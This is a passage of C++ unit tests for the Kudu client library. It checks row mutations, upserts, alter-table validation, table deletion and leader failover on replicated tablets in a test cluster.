EXPECT_EQ(2, CountRowsFromClient(client_table_.get())); // Check that t_diff_ms is close enough to wait_time_ms. EXPECT_GT(wait_timeout_ms + wait_timeout_ms / 2, sw.elapsed().wall_millis()); EXPECT_LT(wait_timeout_ms / 2, sw.elapsed().wall_millis()); } // Test that update updates and delete deletes with expected use TEST_F(ClientTest, TestMutationsWork) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "original row")); FlushSessionOrDie(session); ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, 1, 2)); FlushSessionOrDie(session); vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=2, string string_val="original row", )" "int32 non_null_with_default=12345)", rows[0]); rows.clear(); ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); FlushSessionOrDie(session); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); } TEST_F(ClientTest, TestMutateDeletedRow) { vector<string> rows; shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "original row")); FlushSessionOrDie(session); ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); FlushSessionOrDie(session); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); // Attempt update deleted row ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, 1, 2)); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Verify error unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); ASSERT_EQ(error->failed_op().ToString(), "UPDATE int32 key=1, int32 int_val=2"); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); // Attempt delete deleted row ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Verify error error = GetSingleErrorFromSession(session.get()); ASSERT_EQ(error->failed_op().ToString(), "DELETE int32 key=1"); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); } TEST_F(ClientTest, TestMutateNonexistentRow) { vector<string> rows; shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Attempt update nonexistent row ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, 1, 2)); Status s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Verify error unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); ASSERT_EQ(error->failed_op().ToString(), "UPDATE int32 key=1, int32 int_val=2"); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); // Attempt delete nonexistent row ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); s = session->Flush(); ASSERT_FALSE(s.ok()); ASSERT_STR_CONTAINS(s.ToString(), "Some errors occurred"); // Verify error error = GetSingleErrorFromSession(session.get()); ASSERT_EQ(error->failed_op().ToString(), "DELETE int32 key=1"); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); } TEST_F(ClientTest, TestUpsert) { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Perform and verify UPSERT which acts as an INSERT. ASSERT_OK(ApplyUpsertToSession(session.get(), client_table_, 1, 1, "original row")); FlushSessionOrDie(session); { vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); EXPECT_EQ(R"((int32 key=1, int32 int_val=1, string string_val="original row", )" "int32 non_null_with_default=12345)", rows[0]); } // Perform and verify UPSERT which acts as an UPDATE. ASSERT_OK(ApplyUpsertToSession(session.get(), client_table_, 1, 2, "upserted row")); FlushSessionOrDie(session); { vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); EXPECT_EQ(R"((int32 key=1, int32 int_val=2, string string_val="upserted row", )" "int32 non_null_with_default=12345)", rows[0]); } // Apply an UPDATE including the column that has a default and verify it. { unique_ptr<KuduUpdate> update(client_table_->NewUpdate()); KuduPartialRow* row = update->mutable_row(); ASSERT_OK(row->SetInt32("key", 1)); ASSERT_OK(row->SetStringCopy("string_val", "updated row")); ASSERT_OK(row->SetInt32("non_null_with_default", 999)); ASSERT_OK(session->Apply(update.release())); FlushSessionOrDie(session); } { vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); EXPECT_EQ(R"((int32 key=1, int32 int_val=2, string string_val="updated row", )" "int32 non_null_with_default=999)", rows[0]); } // Perform another UPSERT. This upsert doesn't specify the 'non_null_with_default' // column, and therefore should not revert it back to its default. ASSERT_OK(ApplyUpsertToSession(session.get(), client_table_, 1, 3, "upserted row 2")); FlushSessionOrDie(session); { vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); EXPECT_EQ(R"((int32 key=1, int32 int_val=3, string string_val="upserted row 2", )" "int32 non_null_with_default=999)", rows[0]); } // Delete the row. ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); FlushSessionOrDie(session); { vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); EXPECT_TRUE(rows.empty()); } } TEST_F(ClientTest, TestWriteWithBadColumn) { shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(kTableName, &table)); // Try to do a write with the bad schema. shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); unique_ptr<KuduInsert> insert(table->NewInsert()); ASSERT_OK(insert->mutable_row()->SetInt32("key", 12345)); Status s = insert->mutable_row()->SetInt32("bad_col", 12345); ASSERT_TRUE(s.IsNotFound()); ASSERT_STR_CONTAINS(s.ToString(), "No such column: bad_col"); } // Do a write with a bad schema on the client side. This should make the Prepare // phase of the write fail, which will result in an error on the RPC response. TEST_F(ClientTest, TestWriteWithBadSchema) { shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(kTableName, &table)); // Remove the 'int_val' column. // Now the schema on the client is "old" unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); ASSERT_OK(table_alterer ->DropColumn("int_val") ->Alter()); // Try to do a write with the bad schema. shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 12345, 12345, "x")); Status s = session->Flush(); ASSERT_FALSE(s.ok()); // Verify the specific error. unique_ptr<KuduError> error = GetSingleErrorFromSession(session.get()); ASSERT_TRUE(error->status().IsInvalidArgument()); ASSERT_STR_CONTAINS(error->status().ToString(), "Client provided column int_val INT32 NOT NULL " "not present in tablet"); ASSERT_EQ(error->failed_op().ToString(), R"(INSERT int32 key=12345, int32 int_val=12345, string string_val="x")"); } TEST_F(ClientTest, TestBasicAlterOperations) { const vector<string> kBadNames = {"", string(1000, 'x')}; // Test that renaming a column to an invalid name throws an error. for (const string& bad_name : kBadNames) { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("int_val")->RenameTo(bad_name); Status s = table_alterer->Alter(); EXPECT_TRUE(s.IsInvalidArgument()); EXPECT_THAT(s.ToString(), testing::AnyOf( testing::HasSubstr("invalid column name"), testing::HasSubstr("column name must be non-empty"))); } // Test that renaming a table to an invalid name throws an error. for (const string& bad_name : kBadNames) { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->RenameTo(bad_name); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "invalid table name"); } // Test trying to add columns to a table such that it exceeds the permitted // maximum. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); for (int i = 0; i < 1000; i++) { table_alterer->AddColumn(Substitute("c$0", i))->Type(KuduColumnSchema::INT32); } Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsInvalidArgument()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "number of columns 1004 is greater than the " "permitted maximum 300"); } // Having no steps should throw an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "No alter steps provided"); } // Adding a non-nullable column with no default value should throw an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull(); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsInvalidArgument()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "column `key`: NOT NULL columns must have a default"); } // Removing a key should throw an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); Status s = table_alterer ->DropColumn("key") ->Alter(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "cannot remove a key column: key"); } // Renaming a column to an already-existing name should throw an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("int_val")->RenameTo("string_val"); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsAlreadyPresent()); ASSERT_STR_CONTAINS(s.ToString(), "The column already exists: string_val"); } // Altering a column but specifying no alterations should throw an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val"); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "no alter operation specified: string_val"); } // Trying to change the type of a column is an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val")->Type(KuduColumnSchema::STRING); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsNotSupported()); ASSERT_STR_CONTAINS(s.ToString(), "unsupported alter operation: string_val"); } // Trying to alter the nullability of a column is an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val")->Nullable(); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsNotSupported()); ASSERT_STR_CONTAINS(s.ToString(), "unsupported alter operation: string_val"); } // Trying to alter the nullability of a column is an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val")->NotNull(); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsNotSupported()); ASSERT_STR_CONTAINS(s.ToString(), "unsupported alter operation: string_val"); } // Need a TabletReplica for the next set of tests. string tablet_id = GetFirstTabletId(client_table_.get()); scoped_refptr<TabletReplica> tablet_replica; ASSERT_TRUE(cluster_->mini_tablet_server(0)->server()->tablet_manager()->LookupTablet( tablet_id, &tablet_replica)); { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->DropColumn("int_val") ->AddColumn("new_col")->Type(KuduColumnSchema::INT32); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(1, tablet_replica->tablet()->metadata()->schema_version()); } // Specifying an encoding incompatible with the column's type is an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AddColumn("new_string_val")->Type(KuduColumnSchema::STRING) ->Encoding(KuduColumnStorageAttributes::GROUP_VARINT); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsNotSupported()); ASSERT_STR_CONTAINS(s.ToString(), "encoding GROUP_VARINT not supported for type BINARY"); ASSERT_EQ(1, tablet_replica->tablet()->metadata()->schema_version()); } // Test adding a new column of type string. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AddColumn("new_string_val")->Type(KuduColumnSchema::STRING) ->Encoding(KuduColumnStorageAttributes::PREFIX_ENCODING); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(2, tablet_replica->tablet()->metadata()->schema_version()); } // Test renaming a primary key column. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("key")->RenameTo("key2"); Status s = table_alterer->Alter(); ASSERT_FALSE(s.IsInvalidArgument()); ASSERT_EQ(3, tablet_replica->tablet()->metadata()->schema_version()); } // Changing the type of a primary key column is an error. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("key2")->Type(KuduColumnSchema::INT64)->NotNull()->PrimaryKey(); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsNotSupported()) << s.ToString(); ASSERT_STR_CONTAINS(s.ToString(), "Not implemented: unsupported alter operation: key2"); } // Test changing a default value for a variable-length (string) column. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val") ->Default(KuduValue::CopyString("hello!")); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(4, tablet_replica->tablet()->metadata()->schema_version()); Schema schema = tablet_replica->tablet()->metadata()->schema(); ColumnSchema col_schema = schema.column(schema.find_column("string_val")); ASSERT_FALSE(col_schema.has_read_default()); ASSERT_TRUE(col_schema.has_write_default()); ASSERT_EQ("hello!", *reinterpret_cast<const Slice*>(col_schema.write_default_value())); } // Test changing a default value for an integer column. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("non_null_with_default") ->Default(KuduValue::FromInt(54321)); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(5, tablet_replica->tablet()->metadata()->schema_version()); Schema schema = tablet_replica->tablet()->metadata()->schema(); ColumnSchema col_schema = schema.column(schema.find_column("non_null_with_default")); ASSERT_TRUE(col_schema.has_read_default()); // Started with a default ASSERT_TRUE(col_schema.has_write_default()); ASSERT_EQ(54321, *reinterpret_cast<const int32_t*>(col_schema.write_default_value())); } // Test clearing a default value from a nullable column. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val") ->RemoveDefault(); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(6, tablet_replica->tablet()->metadata()->schema_version()); Schema schema = tablet_replica->tablet()->metadata()->schema(); ColumnSchema col_schema = schema.column(schema.find_column("string_val")); ASSERT_FALSE(col_schema.has_read_default()); ASSERT_FALSE(col_schema.has_write_default()); } // Test clearing a default value from a non-nullable column. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("non_null_with_default") ->RemoveDefault(); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(7, tablet_replica->tablet()->metadata()->schema_version()); Schema schema = tablet_replica->tablet()->metadata()->schema(); ColumnSchema col_schema = schema.column(schema.find_column("non_null_with_default")); ASSERT_TRUE(col_schema.has_read_default()); ASSERT_FALSE(col_schema.has_write_default()); } // Test that specifying a default of the wrong size fails. // Since the column's type isn't checked client-side and the client // stores defaults for all integer-backed types as 64-bit integers, the client // client can request defaults of the wrong type or size for a column's type. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("non_null_with_default") ->Default(KuduValue::CopyString("aaa")); Status s = table_alterer->Alter(); ASSERT_TRUE(s.IsInvalidArgument()); ASSERT_STR_CONTAINS(s.ToString(), "wrong size for default value"); ASSERT_EQ(7, tablet_replica->tablet()->metadata()->schema_version()); } // Test altering encoding, compression, and block size. { unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterColumn("string_val") ->Encoding(KuduColumnStorageAttributes::PLAIN_ENCODING) ->Compression(KuduColumnStorageAttributes::LZ4) ->BlockSize(16 * 1024 * 1024); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(8, tablet_replica->tablet()->metadata()->schema_version()); Schema schema = tablet_replica->tablet()->metadata()->schema(); ColumnSchema col_schema = schema.column(schema.find_column("string_val")); ASSERT_EQ(KuduColumnStorageAttributes::PLAIN_ENCODING, col_schema.attributes().encoding); ASSERT_EQ(KuduColumnStorageAttributes::LZ4, col_schema.attributes().compression); ASSERT_EQ(16 * 1024 * 1024, col_schema.attributes().cfile_block_size); } // Test altering extra configuration properties. // 1. Alter history max age second to 3600. { map<string, string> extra_configs; extra_configs["kudu.table.history_max_age_sec"] = "3600"; unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterExtraConfig(extra_configs); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(9, tablet_replica->tablet()->metadata()->schema_version()); ASSERT_NE(boost::none, tablet_replica->tablet()->metadata()->extra_config()); ASSERT_TRUE(tablet_replica->tablet()->metadata()->extra_config()->has_history_max_age_sec()); ASSERT_EQ(3600, tablet_replica->tablet()->metadata()->extra_config()->history_max_age_sec()); } // 2. Alter history max age second to 7200. { map<string, string> extra_configs; extra_configs["kudu.table.history_max_age_sec"] = "7200"; unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterExtraConfig(extra_configs); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(10, tablet_replica->tablet()->metadata()->schema_version()); ASSERT_NE(boost::none, tablet_replica->tablet()->metadata()->extra_config()); ASSERT_TRUE(tablet_replica->tablet()->metadata()->extra_config()->has_history_max_age_sec()); ASSERT_EQ(7200, tablet_replica->tablet()->metadata()->extra_config()->history_max_age_sec()); } // 3. Reset history max age second to default. { map<string, string> extra_configs; extra_configs["kudu.table.history_max_age_sec"] = ""; unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); table_alterer->AlterExtraConfig(extra_configs); ASSERT_OK(table_alterer->Alter()); ASSERT_EQ(11, tablet_replica->tablet()->metadata()->schema_version()); ASSERT_NE(boost::none, tablet_replica->tablet()->metadata()->extra_config()); ASSERT_FALSE(tablet_replica->tablet()->metadata()->extra_config()->has_history_max_age_sec()); } // Test changing a table name. { const char *kRenamedTableName = "RenamedTable"; unique_ptr<KuduTableAlterer> table_alterer(client_->NewTableAlterer(kTableName)); ASSERT_OK(table_alterer ->RenameTo(kRenamedTableName) ->Alter()); ASSERT_EQ(12, tablet_replica->tablet()->metadata()->schema_version()); ASSERT_EQ(kRenamedTableName, tablet_replica->tablet()->metadata()->table_name()); CatalogManager *catalog_manager = cluster_->mini_master()->master()->catalog_manager(); CatalogManager::ScopedLeaderSharedLock l(catalog_manager); ASSERT_OK(l.first_failed_status()); bool exists; ASSERT_OK(catalog_manager->TableNameExists(kRenamedTableName, &exists)); ASSERT_TRUE(exists); ASSERT_OK(catalog_manager->TableNameExists(kTableName, &exists)); ASSERT_FALSE(exists); } } TEST_F(ClientTest, TestDeleteTable) { // Open the table before deleting it. ASSERT_OK(client_->OpenTable(kTableName, &client_table_)); // Insert a few rows, and scan them back. This is to populate the MetaCache. NO_FATALS(InsertTestRows(client_.get(), client_table_.get(), 10)); vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(10, rows.size()); // Remove the table // NOTE that it returns when the operation is completed on the master side string tablet_id = GetFirstTabletId(client_table_.get()); ASSERT_OK(client_->DeleteTable(kTableName)); CatalogManager *catalog_manager = cluster_->mini_master()->master()->catalog_manager(); { CatalogManager::ScopedLeaderSharedLock l(catalog_manager); ASSERT_OK(l.first_failed_status()); bool exists; ASSERT_OK(catalog_manager->TableNameExists(kTableName, &exists)); ASSERT_FALSE(exists); } // Wait until the table is removed from the TS int wait_time = 1000; bool tablet_found = true; for (int i = 0; i < 80 && tablet_found; ++i) { scoped_refptr<TabletReplica> tablet_replica; tablet_found = cluster_->mini_tablet_server(0)->server()->tablet_manager()->LookupTablet( tablet_id, &tablet_replica); SleepFor(MonoDelta::FromMicroseconds(wait_time)); wait_time = std::min(wait_time * 5 / 4, 1000000); } ASSERT_FALSE(tablet_found); // Try to open the deleted table Status s = client_->OpenTable(kTableName, &client_table_); ASSERT_TRUE(s.IsNotFound()); ASSERT_STR_CONTAINS(s.ToString(), "the table does not exist"); // Create a new table with the same name. This is to ensure that the client // doesn't cache anything inappropriately by table name (see KUDU-1055). NO_FATALS(CreateTable(kTableName, 1, GenerateSplitRows(), {}, &client_table_)); // Should be able to insert successfully into the new table. NO_FATALS(InsertTestRows(client_.get(), client_table_.get(), 10)); } TEST_F(ClientTest, TestGetTableSchema) { KuduSchema schema; // Verify the schema for the current table ASSERT_OK(client_->GetTableSchema(kTableName, &schema)); ASSERT_TRUE(schema_.Equals(schema)); // Verify that a get schema request for a missing table throws not found Status s = client_->GetTableSchema("MissingTableName", &schema); ASSERT_TRUE(s.IsNotFound()); ASSERT_STR_CONTAINS(s.ToString(), "the table does not exist"); } // Test creating and accessing a table which has multiple tablets, // each of which is replicated. // // TODO: this should probably be the default for _all_ of the tests // in this file. However, some things like alter table are not yet // working on replicated tables - see KUDU-304 TEST_F(ClientTest, TestReplicatedMultiTabletTable) { const string kReplicatedTable = "replicated"; const int kNumRowsToWrite = 100; const int kNumReplicas = 3; shared_ptr<KuduTable> table; NO_FATALS(CreateTable(kReplicatedTable, kNumReplicas, GenerateSplitRows(), {}, &table)); // Should have no rows to begin with. ASSERT_EQ(0, CountRowsFromClient(table.get())); // Insert some data. NO_FATALS(InsertTestRows(table.get(), kNumRowsToWrite)); // Should now see the data. ASSERT_EQ(kNumRowsToWrite, CountRowsFromClient(table.get())); // TODO: once leader re-election is in, should somehow force a re-election // and ensure that the client handles refreshing the leader. } TEST_F(ClientTest, TestReplicatedMultiTabletTableFailover) { const string kReplicatedTable = "replicated_failover_on_reads"; const int kNumRowsToWrite = 100; const int kNumReplicas = 3; const int kNumTries = 100; shared_ptr<KuduTable> table; NO_FATALS(CreateTable(kReplicatedTable, kNumReplicas, GenerateSplitRows(), {}, &table)); // Insert some data. NO_FATALS(InsertTestRows(table.get(), kNumRowsToWrite)); // Find the leader of the first tablet. scoped_refptr<internal::RemoteTablet> rt = MetaCacheLookup(table.get(), ""); internal::RemoteTabletServer *rts = rt->LeaderTServer(); // Kill the leader of the first tablet. ASSERT_OK(KillTServer(rts->permanent_uuid())); // We wait until we fail over to the new leader(s). int tries = 0; for (;;) { int master_rpcs_before = CountMasterLookupRPCs(); tries++; int num_rows = CountRowsFromClient(table.get(), KuduClient::LEADER_ONLY, KuduScanner::READ_LATEST, kNoBound, kNoBound); int master_rpcs = CountMasterLookupRPCs() - master_rpcs_before; // Regression test for KUDU-1387: we should not have any tight loops // hitting the master during the time when a client is awaiting leader // election. However, we do expect a reasonable number of lookup retries // as the client will retry rapidly at first and then back off. 20 is // enough to avoid test flakiness. Before fixing the above-mentioned bug, // we would see several hundred lookups here. ASSERT_LT(master_rpcs, 20); if (num_rows == kNumRowsToWrite) { LOG(INFO) << "Found expected number of rows: " << num_rows; break; } else { LOG(INFO) << "Only found " << num_rows << " rows on try " << tries << ", retrying"; ASSERT_LE(tries, kNumTries); SleepFor(MonoDelta::FromMilliseconds(10 * tries)); // sleep a bit more with each attempt. } } } // This test that we can keep writing to a tablet when the leader // tablet dies. TEST_F(ClientTest, TestReplicatedTabletWritesWithLeaderElection) { const string kReplicatedTable = "replicated_failover_on_writes"; const int kNumRowsToWrite = 100; const int kNumReplicas = 3; shared_ptr<KuduTable> table; NO_FATALS(CreateTable(kReplicatedTable, kNumReplicas, {}, {}, &table)); // Insert some data. NO_FATALS(InsertTestRows(table.get(), kNumRowsToWrite)); // Find the leader replica scoped_refptr<internal::RemoteTablet> rt = MetaCacheLookup(table.get(), ""); internal::RemoteTabletServer *rts; set<string> blacklist; vector<internal::RemoteTabletServer*> candidates; ASSERT_OK(client_->data_->GetTabletServer(client_.get(), rt, KuduClient::LEADER_ONLY, blacklist, &candidates, &rts)); string killed_uuid = rts->permanent_uuid(); // Kill the tserver that is serving the leader tablet. ASSERT_OK(KillTServer(killed_uuid)); LOG(INFO) << "Inserting additional rows..."; NO_FATALS(InsertTestRows(client_.get(), table.get(), kNumRowsToWrite, kNumRowsToWrite)); LOG(INFO) << "Counting rows..."; ASSERT_EQ(2 * kNumRowsToWrite, CountRowsFromClient(table.get(), KuduClient::LEADER_ONLY, KuduScanner::READ_LATEST, kNoBound, kNoBound)); } namespace { void CheckCorrectness(KuduScanner* scanner, int expected[], int nrows) { scanner->Open(); int readrows = 0; KuduScanBatch batch; if (nrows) { ASSERT_TRUE(scanner->HasMoreRows()); } else { ASSERT_FALSE(scanner->HasMoreRows()); } while (scanner->HasMoreRows()) { ASSERT_OK(scanner->NextBatch(&batch)); for (const KuduScanBatch::RowPtr& r : batch) { int32_t key; int32_t val; Slice strval; ASSERT_OK(r.GetInt32(0, &key)); ASSERT_OK(r.GetInt32(1, &val)); ASSERT_OK(r.GetString(2, &strval)); ASSERT_NE(expected[key], -1) << "Deleted key found in table in table " << key; ASSERT_EQ(expected[key], val) << "Incorrect int value for key " << key; ASSERT_EQ(strval.size(), 0) << "Incorrect string value for key " << key; ++readrows; } } ASSERT_EQ(readrows, nrows); scanner->Close(); } } // anonymous namespace // Randomized mutations accuracy testing TEST_F(ClientTest, TestRandomWriteOperation) { shared_ptr<KuduSession> session = client_->NewSession(); session->SetTimeoutMillis(5000); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); int row[FLAGS_test_scan_num_rows]; // -1 indicates empty int nrows; KuduScanner scanner(client_table_.get()); // First half-fill for (int i = 0; i < FLAGS_test_scan_num_rows/2; ++i) { ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, i, i, "")); row[i] = i; } for (int i = FLAGS_test_scan_num_rows/2; i < FLAGS_test_scan_num_rows; ++i) { row[i] = -1; } nrows = FLAGS_test_scan_num_rows/2; // Randomized testing LOG(INFO) << "Randomized mutations testing."; SeedRandom(); for (int i = 0; i <= 1000; ++i) { // Test correctness every so often if (i % 50 == 0) { LOG(INFO) << "Correctness test " << i; FlushSessionOrDie(session); NO_FATALS(CheckCorrectness(&scanner, row, nrows)); LOG(INFO) << "...complete"; } int change = rand() % FLAGS_test_scan_num_rows; // Insert if empty if (row[change] == -1) { ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, change, change, "")); row[change] = change; ++nrows; VLOG(1) << "Insert " << change; } else { // Update or delete otherwise int update = rand() & 1; if (update) { ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, change, ++row[change])); VLOG(1) << "Update " << change; } else { ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, change)); row[change] = -1; --nrows; VLOG(1) << "Delete " << change; } } } // And one more time for the last batch. FlushSessionOrDie(session); NO_FATALS(CheckCorrectness(&scanner, row, nrows)); } // Test whether a batch can handle several mutations in a batch TEST_F(ClientTest, TestSeveralRowMutatesPerBatch) { shared_ptr<KuduSession> session = client_->NewSession(); session->SetTimeoutMillis(5000); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); // Test insert/update LOG(INFO) << "Testing insert/update in same batch, key " << 1 << "."; ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "")); ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, 1, 2)); FlushSessionOrDie(session); vector<string> rows; ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=2, string string_val="", )" "int32 non_null_with_default=12345)", rows[0]); rows.clear(); LOG(INFO) << "Testing insert/delete in same batch, key " << 2 << "."; // Test insert/delete ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 2, 1, "")); ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 2)); FlushSessionOrDie(session); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=2, string string_val="", )" "int32 non_null_with_default=12345)", rows[0]); rows.clear(); // Test update/delete LOG(INFO) << "Testing update/delete in same batch, key " << 1 << "."; ASSERT_OK(ApplyUpdateToSession(session.get(), client_table_, 1, 1)); ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); FlushSessionOrDie(session); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_TRUE(rows.empty()); // Test delete/insert (insert a row first) LOG(INFO) << "Inserting row for delete/insert test, key " << 1 << "."; ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 1, "")); FlushSessionOrDie(session); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); ASSERT_EQ(R"((int32 key=1, int32 int_val=1, string string_val="", )" "int32 non_null_with_default=12345)", rows[0]); rows.clear(); LOG(INFO) << "Testing delete/insert in same batch, key " << 1 << "."; ASSERT_OK(ApplyDeleteToSession(session.get(), client_table_, 1)); ASSERT_OK(ApplyInsertToSession(session.get(), client_table_, 1, 2, "")); FlushSessionOrDie(session); ASSERT_OK(ScanTableToStrings(client_table_.get(), &rows)); ASSERT_EQ(1, rows.size()); 